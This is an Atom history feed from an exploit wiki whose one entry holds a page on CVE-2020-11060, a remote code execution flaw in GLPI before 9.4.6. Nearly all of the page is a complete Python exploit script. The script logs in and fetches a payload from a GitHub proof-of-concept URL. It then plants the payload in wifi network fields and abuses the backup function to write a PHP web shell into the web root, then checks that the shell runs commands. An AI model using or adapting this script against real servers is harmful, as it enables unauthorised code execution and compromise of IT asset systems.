<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-11060_GLPI_9.4.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn</id>
	<title>CVE-2020-11060 GLPI 9.4.5 遠程代碼執行漏洞/zh-cn - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-11060_GLPI_9.4.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-11060_GLPI_9.4.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;action=history"/>
	<updated>2026-04-06T21:59:35Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-11060_GLPI_9.4.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=5052&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;CVE-2020-11060 GLPI 9.4.5 远程代码执行漏洞&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-11060_GLPI_9.4.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=5052&amp;oldid=prev"/>
		<updated>2021-06-15T01:22:14Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;CVE-2020-11060 GLPI 9.4.5 远程代码执行漏洞&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
==影响版本==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Version: &amp;lt; 9.4.6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: GLPI 9.4.5 - Remote Code Execution (RCE)&lt;br /&gt;
# Exploit Author: Brian Peters&lt;br /&gt;
# Vendor Homepage: https://glpi-project.org&lt;br /&gt;
# Software Link: https://github.com/glpi-project/glpi/releases&lt;br /&gt;
# Version: &amp;lt; 9.4.6&lt;br /&gt;
# CVE: CVE-2020-11060&lt;br /&gt;
&lt;br /&gt;
# Download a SQL dump and find the table offset for &amp;quot;wifinetworks&amp;quot; with &lt;br /&gt;
# cat &amp;lt;sqlfile&amp;gt; | grep &amp;quot;CREATE TABLE&amp;quot; | grep -n wifinetworks&lt;br /&gt;
# Update the offsettable value with this number in the create_dump function&lt;br /&gt;
# The Nix/Win paths are based on defaults. You can use curl -I &amp;lt;url&amp;gt; and use md5sum to find the path based&lt;br /&gt;
# on the Set-Cookie hash.&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
&lt;br /&gt;
import argparse&lt;br /&gt;
import json&lt;br /&gt;
import random&lt;br /&gt;
import re&lt;br /&gt;
import requests&lt;br /&gt;
import string&lt;br /&gt;
import sys&lt;br /&gt;
import time&lt;br /&gt;
from datetime import datetime&lt;br /&gt;
from lxml import html&lt;br /&gt;
&lt;br /&gt;
class GlpiBrowser:&lt;br /&gt;
    &lt;br /&gt;
    def __init__(self, url, user, password, platform):&lt;br /&gt;
        self.url = url&lt;br /&gt;
        self.user = user&lt;br /&gt;
        self.password = password&lt;br /&gt;
        self.platform = platform&lt;br /&gt;
        &lt;br /&gt;
        self.session = requests.Session()&lt;br /&gt;
        self.session.verify = False&lt;br /&gt;
        requests.packages.urllib3.disable_warnings()&lt;br /&gt;
    &lt;br /&gt;
    def extract_csrf(self, html):&lt;br /&gt;
        return re.findall('name=&amp;quot;_glpi_csrf_token&amp;quot; value=&amp;quot;([a-f0-9]{32})&amp;quot;', html)[0]&lt;br /&gt;
    &lt;br /&gt;
    def get_login_data(self):&lt;br /&gt;
        r = self.session.get('{0}'.format(self.url), allow_redirects=True)&lt;br /&gt;
        &lt;br /&gt;
        csrf_token = self.extract_csrf(r.text)&lt;br /&gt;
        name_field = re.findall('name=&amp;quot;(.*)&amp;quot; id=&amp;quot;login_name&amp;quot;', r.text)[0]&lt;br /&gt;
        pass_field = re.findall('name=&amp;quot;(.*)&amp;quot; id=&amp;quot;login_password&amp;quot;', r.text)[0]&lt;br /&gt;
        &lt;br /&gt;
        return name_field, pass_field, csrf_token&lt;br /&gt;
    &lt;br /&gt;
    def login(self):&lt;br /&gt;
        try:&lt;br /&gt;
            name_field, pass_field, csrf_token = self.get_login_data()&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print &amp;quot;[-] Login error: could not retrieve form data&amp;quot;&lt;br /&gt;
            sys.exit(1)&lt;br /&gt;
        &lt;br /&gt;
        data = {&lt;br /&gt;
            name_field: self.user, &lt;br /&gt;
            pass_field: self.password,&lt;br /&gt;
            &amp;quot;auth&amp;quot;: &amp;quot;local&amp;quot;,&lt;br /&gt;
            &amp;quot;submit&amp;quot;: &amp;quot;Post&amp;quot;,&lt;br /&gt;
            &amp;quot;_glpi_csrf_token&amp;quot;: csrf_token&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)&lt;br /&gt;
        &lt;br /&gt;
        return r.status_code == 302&lt;br /&gt;
        &lt;br /&gt;
    def wipe_networks(self, padding, datemod):&lt;br /&gt;
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')&lt;br /&gt;
        comment = r.content&lt;br /&gt;
        &lt;br /&gt;
        r = self.session.get('{0}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9'.format(self.url))&lt;br /&gt;
        try:&lt;br /&gt;
            csrf_token = self.extract_csrf(r.text)&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print &amp;quot;[-] Edit network error: could not retrieve form data&amp;quot;&lt;br /&gt;
            sys.exit(1)&lt;br /&gt;
            &lt;br /&gt;
        webpage = html.fromstring(r.content)&lt;br /&gt;
        links = webpage.xpath('//a/@href')&lt;br /&gt;
        for rawlink in links:&lt;br /&gt;
            if &amp;quot;wifinetwork.form.php?id=&amp;quot; in rawlink:&lt;br /&gt;
        	rawlinkparts = rawlink.split(&amp;quot;=&amp;quot;)&lt;br /&gt;
        	networkid = rawlinkparts[-1]&lt;br /&gt;
        	print &amp;quot;Deleting network &amp;quot;+networkid&lt;br /&gt;
        	&lt;br /&gt;
        	data = {&lt;br /&gt;
        	    &amp;quot;entities_id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
	            &amp;quot;is_recursive&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
        	    &amp;quot;name&amp;quot;: &amp;quot;PoC&amp;quot;,&lt;br /&gt;
        	    &amp;quot;comment&amp;quot;: comment,&lt;br /&gt;
        	    &amp;quot;essid&amp;quot;: &amp;quot;RCE&amp;quot;+padding,&lt;br /&gt;
        	    &amp;quot;mode&amp;quot;: &amp;quot;ad-hoc&amp;quot;,&lt;br /&gt;
		    &amp;quot;purge&amp;quot;: &amp;quot;Delete permanently&amp;quot;,&lt;br /&gt;
		    &amp;quot;id&amp;quot;: networkid,&lt;br /&gt;
                    &amp;quot;_glpi_csrf_token&amp;quot;: csrf_token,&lt;br /&gt;
                    '_read_date_mod': datemod&lt;br /&gt;
                }&lt;br /&gt;
        &lt;br /&gt;
                r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)&lt;br /&gt;
    &lt;br /&gt;
    def create_network(self, datemod):&lt;br /&gt;
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')&lt;br /&gt;
        comment = r.content&lt;br /&gt;
&lt;br /&gt;
        r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))&lt;br /&gt;
        try:&lt;br /&gt;
            csrf_token = self.extract_csrf(r.text)&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print &amp;quot;[-] Create network error: could not retrieve form data&amp;quot;&lt;br /&gt;
            sys.exit(1)&lt;br /&gt;
        &lt;br /&gt;
        data = {&lt;br /&gt;
	    &amp;quot;entities_id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
	    &amp;quot;is_recursive&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
	    &amp;quot;name&amp;quot;: &amp;quot;PoC&amp;quot;,&lt;br /&gt;
	    &amp;quot;comment&amp;quot;: comment,&lt;br /&gt;
	    &amp;quot;essid&amp;quot;: &amp;quot;RCE&amp;quot;,&lt;br /&gt;
	    &amp;quot;mode&amp;quot;: &amp;quot;ad-hoc&amp;quot;,&lt;br /&gt;
	    &amp;quot;add&amp;quot;: &amp;quot;ADD&amp;quot;,&lt;br /&gt;
            &amp;quot;_glpi_csrf_token&amp;quot;: csrf_token,&lt;br /&gt;
            '_read_date_mod': datemod&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)&lt;br /&gt;
        print &amp;quot;[+] Network created&amp;quot;&lt;br /&gt;
        print &amp;quot;      Name: PoC&amp;quot;&lt;br /&gt;
        print &amp;quot;      ESSID: RCE&amp;quot;&lt;br /&gt;
        &lt;br /&gt;
    def edit_network(self, padding, datemod):&lt;br /&gt;
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')&lt;br /&gt;
        comment = r.content&lt;br /&gt;
        #create the padding for the name and essid&lt;br /&gt;
        &lt;br /&gt;
        &lt;br /&gt;
        r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))&lt;br /&gt;
        webpage = html.fromstring(r.content)&lt;br /&gt;
        links = webpage.xpath('//a/@href')&lt;br /&gt;
        for rawlink in links:&lt;br /&gt;
            if &amp;quot;wifinetwork.form.php?id=&amp;quot; in rawlink:&lt;br /&gt;
                rawlinkparts = rawlink.split('/')&lt;br /&gt;
                link = rawlinkparts[-1]&lt;br /&gt;
                &lt;br /&gt;
                #edit the network name and essid&lt;br /&gt;
                r = self.session.get('{0}/front/{1}'.format(self.url, link))&lt;br /&gt;
                try:&lt;br /&gt;
            	    csrf_token = self.extract_csrf(r.text)&lt;br /&gt;
        	except Exception as e:&lt;br /&gt;
        	    print &amp;quot;[-] Edit network error: could not retrieve form data&amp;quot;&lt;br /&gt;
        	    sys.exit(1)&lt;br /&gt;
        	    &lt;br /&gt;
        	rawlinkparts = rawlink.split(&amp;quot;=&amp;quot;)&lt;br /&gt;
        	networkid = rawlinkparts[-1]&lt;br /&gt;
        	        	    &lt;br /&gt;
                data = {&lt;br /&gt;
        	    &amp;quot;entities_id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
        	    &amp;quot;is_recursive&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
        	    &amp;quot;name&amp;quot;: &amp;quot;PoC&amp;quot;,&lt;br /&gt;
        	    &amp;quot;comment&amp;quot;: comment,&lt;br /&gt;
        	    &amp;quot;essid&amp;quot;: &amp;quot;RCE&amp;quot;+padding,&lt;br /&gt;
        	    &amp;quot;mode&amp;quot;: &amp;quot;ad-hoc&amp;quot;,&lt;br /&gt;
        	    &amp;quot;update&amp;quot;: &amp;quot;Save&amp;quot;,&lt;br /&gt;
        	    &amp;quot;id&amp;quot;: networkid,&lt;br /&gt;
                    &amp;quot;_glpi_csrf_token&amp;quot;: csrf_token,&lt;br /&gt;
                    &amp;quot;_read_date_mod&amp;quot;: datemod&lt;br /&gt;
                }&lt;br /&gt;
                r = self.session.post('{0}/front/wifinetwork.form.php'.format(self.url), data=data)&lt;br /&gt;
                print &amp;quot;[+] Network mofified&amp;quot;&lt;br /&gt;
                print &amp;quot;      New ESSID: RCE&amp;quot;+padding&lt;br /&gt;
    &lt;br /&gt;
    def create_dump(self, shellname):&lt;br /&gt;
        path=''&lt;br /&gt;
        if self.platform == &amp;quot;Win&amp;quot;:&lt;br /&gt;
            path=&amp;quot;C:\\xampp\\htdocs\\pics\\&amp;quot;&lt;br /&gt;
        elif self.platform == &amp;quot;Nix&amp;quot;:&lt;br /&gt;
            path=&amp;quot;/var/www/html/glpi/pics/&amp;quot;&lt;br /&gt;
        &lt;br /&gt;
        #adjust offset number to match the table number for wifi_networks&lt;br /&gt;
        #this can be found by downloading a SQL dump and running cat &amp;lt;dumpname&amp;gt; | grep &amp;quot;CREATE TABLE&amp;quot; | grep -n &amp;quot;wifinetworks&amp;quot;&lt;br /&gt;
        r = self.session.get('{0}/front/backup.php?dump=dump&amp;amp;offsettable=312&amp;amp;fichier={1}{2}'.format(self.url, path, shellname))&lt;br /&gt;
        &lt;br /&gt;
        print '[+] Shell: {0}/pics/{1}'.format(self.url, shellname)&lt;br /&gt;
        &lt;br /&gt;
    def shell_check(self, shellname):&lt;br /&gt;
        r = self.session.get('{0}/pics/{1}?0=echo%20asdfasdfasdf'.format(self.url, shellname))&lt;br /&gt;
        print &amp;quot;      Shell size: &amp;quot;+str(len(r.content))&lt;br /&gt;
        if &amp;quot;asdfasdfasdf&amp;quot; in r.content:&lt;br /&gt;
            print &amp;quot;[+] RCE FOUND!&amp;quot;&lt;br /&gt;
            sys.exit(1)&lt;br /&gt;
        return len(r.content)&lt;br /&gt;
    &lt;br /&gt;
    def pwn(self):&lt;br /&gt;
        if not self.login():&lt;br /&gt;
            print &amp;quot;[-] Login error&amp;quot;&lt;br /&gt;
            return&lt;br /&gt;
        else:&lt;br /&gt;
            print &amp;quot;[+] Logged in&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	#create timestamp&lt;br /&gt;
	now = datetime.now()&lt;br /&gt;
	datemod = now.strftime(&amp;quot;%Y-%m-%d %H:%M:%S&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        #create comment payload&lt;br /&gt;
        &lt;br /&gt;
        tick=1&lt;br /&gt;
	while True:&lt;br /&gt;
	    #create random shell name&lt;br /&gt;
            letters = string.ascii_letters&lt;br /&gt;
	    shellname = ''.join(random.choice(letters) for i in range(8))+&amp;quot;.php&amp;quot;&lt;br /&gt;
	    &lt;br /&gt;
	    #create padding for ESSID&lt;br /&gt;
	    padding = ''&lt;br /&gt;
            for i in range(1,int(tick)+1):&lt;br /&gt;
                padding+=str(i)&lt;br /&gt;
	    &lt;br /&gt;
	    self.wipe_networks(padding, datemod)&lt;br /&gt;
	    self.create_network(datemod)&lt;br /&gt;
            self.edit_network(padding, datemod)            &lt;br /&gt;
            self.create_dump(shellname)&lt;br /&gt;
            self.shell_check(shellname)&lt;br /&gt;
	    print &amp;quot;\n&amp;quot;&lt;br /&gt;
            raw_input(&amp;quot;Press any key to continue with the next iteration...&amp;quot;)&lt;br /&gt;
            tick+=1&lt;br /&gt;
&lt;br /&gt;
        return&lt;br /&gt;
        &lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    &lt;br /&gt;
    parser = argparse.ArgumentParser()&lt;br /&gt;
    parser.add_argument(&amp;quot;--url&amp;quot;, help=&amp;quot;Target URL&amp;quot;, required=True)&lt;br /&gt;
    parser.add_argument(&amp;quot;--user&amp;quot;, help=&amp;quot;Username&amp;quot;, required=True)&lt;br /&gt;
    parser.add_argument(&amp;quot;--password&amp;quot;, help=&amp;quot;Password&amp;quot;, required=True)&lt;br /&gt;
    parser.add_argument(&amp;quot;--platform&amp;quot;, help=&amp;quot;Win/Nix&amp;quot;, required=True)&lt;br /&gt;
    &lt;br /&gt;
    args = parser.parse_args()&lt;br /&gt;
    &lt;br /&gt;
    g = GlpiBrowser(args.url, user=args.user, password=args.password, platform=args.platform)&lt;br /&gt;
    &lt;br /&gt;
    g.pwn()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>